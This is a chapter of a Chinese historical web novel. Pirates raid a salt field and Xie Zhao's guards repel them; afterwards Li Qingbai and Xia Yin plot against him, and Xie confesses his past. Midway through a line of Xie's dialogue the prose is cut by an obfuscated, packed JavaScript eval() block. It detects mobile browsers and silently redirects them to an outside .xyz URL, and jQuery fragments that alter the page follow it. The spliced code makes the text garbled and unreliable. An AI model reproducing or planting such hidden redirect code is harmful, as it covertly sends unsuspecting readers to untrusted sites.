方才还秩序井然的盐场，顷刻间沦为人人自危的修罗场。


    烟尘弥漫中，隐约可见远处海岸线上有数艘快船逼近，炮火轰鸣不绝，箭矢如飞蝗般射来，已有躲避不及的兵丁被射穿在地，只留下人世间最后一声哀叫。


    矮壮精悍的倭寇挥舞着长刀，嚎叫着冲杀而来，虽身着不伦不类的混搭衣物，穿着破烂的草鞋，却是奔跑迅捷、战力十足，专攻人下盘及要害，攻势阴险而高效。


    混战中，先前那几个险些被杖毙的灶户吓得魂飞魄散，被绑缚着呆立原地。


    一名黝黑的倭寇狞笑着举刀向他们砍去，凛凛刀光顿时吓退了那些官兵，一时溃散如鸟兽。


    千钧一发之际，谢昭竟不顾身后袭来的冷箭，猛扑过去，一刀格开倭寇的兵器，将那名灶户推开：“快走！”


    李清白眼睁睁看着那支冷箭擦臂飞过，划破衣襟绽开血痕，急忙冲了过去。


    “谢昭！你受伤了！”


    谢昭毫不在意，命两名心腹护住李清白，起身发令战斗，藏匿于帮众之中的十数名墨卫瞬间破竹而出，迅如鬼魅。


    面对人员及装备劣势，他们并非结阵硬抗，而是如同早有默契般，瞬间四散开来，利用盐场复杂的地形展开反击。


    堆砌如山的盐包成了最现成的掩体。两名墨卫迅速隐于盐垛之后，伏低身形，精准地斩向倭寇缺乏防护的脚踝和小腿，得手后更接连劈砍，确保目标再无还手之力。


    一名落单的墨卫正面临四人围攻，只见他且战且退，退至晾晒盐巴的木架旁，猛地踹向木架支脚，整排沉重的木架连同上面湿重的盐坯轰然倒塌，劈头盖脸地砸向倭寇，瞬间将其掩埋。


    另有三人有意将一小股倭寇引至盐场边缘，出其不意地扳动引海水的闸门机关，浑浊的海水裹挟着巨大的冲力奔涌而出，顿时将追在最前的两名倭寇冲得人仰马翻，后续的倭寇也被水流阻隔，攻势为之一滞。


    盐耙、运盐车、甚至地上泼洒的盐水都成了他们利用的对象，趁倭人乱了阵脚，便吆喝盐场众人张弩搭箭、刀砍炮轰。


    墨卫战斗力极强，配合无间，虎啸帮众人受其鼓舞，亦拼死力战。方才还凶悍得不可一世的倭寇，刹那间如同被收割的庄稼般纷纷倒地。


    伤亡渐增下，倭寇头目发出怪异的呼哨，残余的倭寇向海边停泊的快船退去，甚至有些慌不择路，竟朝着缘花岛所在的位置逃窜。


    停下指挥应战的元旌退到谢昭身边，将一把绿鞘蓝宝雁翎刀递给他：“爷，这是从倭人那缴来的。”


    谢昭不消细看便知是自己人的东西，眺望缘花岛沉吟：“难道真是他们劫的？”


    曹劲正杀得痛快，赤着脸请战：“谢爷，让我带着兄弟们冲上岛去，把他们都灭了！”


    谢昭面色沉沉，抬手阻止：“穷寇莫追。清点伤亡，救治伤员吧。”


    曹劲喘着粗气，看着那些沉默收队的墨卫，忍不住凑近谢昭，压低声音：“谢爷，敢问您的这些弟兄……到底是什么来路？”


    谢昭浅浅瞥了他一眼，轻描淡写道：“一些江湖朋友，有些身手罢了。”


    “江湖朋友？谢爷可是在说笑？我闯江湖这么多年，从未见过身手如此了得的朋友，不仅个个英勇善战，交汇相连更是无穷无尽的力量。”


    谢昭投过去一个勿再多嘴的眼神，曹劲咂咂嘴，知趣地不再多问。


    李清白把夏荫拉到角落耳语：“他的这些府卫，可不像寻常打手，单兵和集体作战能力强得可怕。”


    夏荫点头：“与其说是府卫，更像一支军队。”


    李清白后怕回忆：“我初入府那天，也是有这样的一群人，险些将那臭骂谢昭的老爷子割颈杀死。幸好隐瞒身份至今，否则估计早就做了他们的刀下鬼。”


    夏荫提醒道：“你可还记得尹荣一家？那帮人极其冷酷，连遗言都不让说，逼着他们一个一个跳崖，连三岁小儿都不肯放过，如今看来，能留个全尸已是不幸中之万幸。谢昭当真是极其危险的人物。”


    李清白又有些犹疑：“可谢昭昨晚和我说，他也是逼不得已才做了那些恶事，他接近许灵阶是另有目的。他虽然冷漠重利、不近人情，可他最终也没报复曹劲，方才还奋不顾身去救那素昧平生的灶户，或许……当中另有隐情也说不定呢？”


    夏荫没好气道：“我的大小姐，你才和他相处多久，就被他迷昏了脑袋？他心悦你，爱慕你，才会在你面前装出一副好人模样，争取你的同情和信任，否则他有何颜面待在你身边？尹荣一家的惨案是我亲眼所见，那些坊间传闻也是空穴来风，你更愿相信我，相信世人，还是相信他的一面之词？”


    李清白低着脑袋想了一会儿，想起昨夜那些缠缠绵绵的吻，顿觉羞耻不安，将头垂得更低了。


    夏荫接着道：“阿白，你别忘了我们来这一趟是为了什么。剪除许灵阶的党羽、还大旻一个清平盛世，不是你一直以来的理想吗？你若信了他，也再没有以身犯险的必要了，你们既已和离，我们这就回京去。”


    是啊。


    不管怎么说，谢昭为虎作伥都是不争的事实。不管谢昭是什么人，从他身上入手才有机会找到证据递呈，将许党一网打尽。


    她深吸一口气平复好心绪，神情坚毅道：“所以接下来我们该怎么做？”


    “你看到元旌递刀了吗？倭人手里有他失踪部下的佩刀，说明劫船一事和他们脱不了干系。若我们能在谢昭行动前登上缘花岛，找到货引不符的对证，就有办法检举谢昭偷运私盐。”


    谢昭本与元旌认真商议调查缘花岛一事，忽见李清白与夏荫亲昵耳语，忍不住重重咳嗽了两声。


    李清白朝他看了一眼，装作无事发生，继续听夏荫讲登岛计划。


    谢昭脸上微微起了怒意，走过来杵在他俩中间：“你们聊什么聊得如此兴奋？”


    夏荫面不改色道：“当然是夸赞您神勇非凡了。”


    见李清白一副不太想搭理他的样子，谢昭偏过身去，故意显出手臂上的伤口：“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386142|181932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    念念，我们现在安全了。”


    李清白完全不似方才那般急迫，冷冷回应：“是，多亏你早有准备。”


    谢昭扫了一眼已对他俯首称臣的曹劲：“念念，我的盐船应是那帮倭人劫的，与虎啸帮无关，先前与曹帮主多有误会，现下已经冰释前嫌，你若还想在海陵岛上住几晚，我都依你。”


    “那我要和曹帮主一起畅饮三日，阿夏陪着我。”


    “我也要一起。”


    “你？就你那酒量，得了吧。”


    谢昭窘着脸作罢：“那好吧，我们也住在岛上，不打扰你们尽兴就是了。”


    李清白不想再与他多说，拔腿去看那些灶户的伤势，却被他一把拉过。


    “念念，我的事，还未与你说完。只是这里人多耳杂，不太方便。”


    李清白不情不愿地被他拉到一处盐垛后，绞着手敷衍：“嗯，你说。”


    谢昭注视着她，低沉的嗓音带着一丝不易察觉的疲惫：“你一直恨我替许灵阶做事，视我为伥鬼。是，我替他铲除异己，垄断盐路，双手染血，罪孽深重。”


    他顿了顿，目光投向远处忙碌救治伤员的墨卫，声音更轻了几分：“其实……我本不姓谢，谢昭是我的化名。我曾与你一样，有着幸福的出身，十三岁那年，我参加乡试中解元，可还未等到会试，家中遭逢变故，祖父惨死狱中，全族流放岭南，两年后虽遇大赦，我却与全家天人永隔，包括我最疼爱的幼妹。”


    “我重获了自由，也失去了人生。为了活命，我什么都做过。在码头扛过上百斤的麻包，跟野狗抢过馊了的饭食，甚至……在走投无路时，也做过些见不得光的勾当，只为了能活下去。”


    “灾荒那年，我跟随难民逃到江都，从最底层的脚夫做起，一步步走过遍地血泪的盐道。再后来，因为我识字、会算账，被一名小盐商看中，替他管账、押运。也就是那时，我开始看清官商如何勾结，盐课如何层层盘剥，私盐利润又如何惊人，而那些真正产盐的灶户，却永远食不果腹。”


    他的语气逐渐变得冷硬：“我也利用管账的机会，摸清了各条盐路的关节，及沿途大小官员、地头蛇的喜好弱点。我吞并了他的势力，蚕食了对手的地盘，逐步掌控了淮盐出海的关键通道。”


    “十九岁那年，我终于引起了许灵阶的注意，用尽了你所能想象和不能想象的肮脏手段，几乎垄断了暴利的私盐生意，让他坐收其成，也让自己积累了足以撼动一方格局的财富和武力。”


    “念念，你说得对，这的确是一场赤裸裸的利益交换——我替他做走狗，他给我权势和庇护。但我爬到这个位置，不止是为了财富和复仇。只有站在这个高度，手握这样的力量，我才有可能去做一些事情。”


    他指了指远处那些形如骷髅的灶户：“比如，或许有一天，也能让他们这样的人，活得有个人样。”


    李清白默默听着，突然发问：“所以呢？你究竟是谁，你原本又是谁？”


    谢昭瞬时如鲠在喉。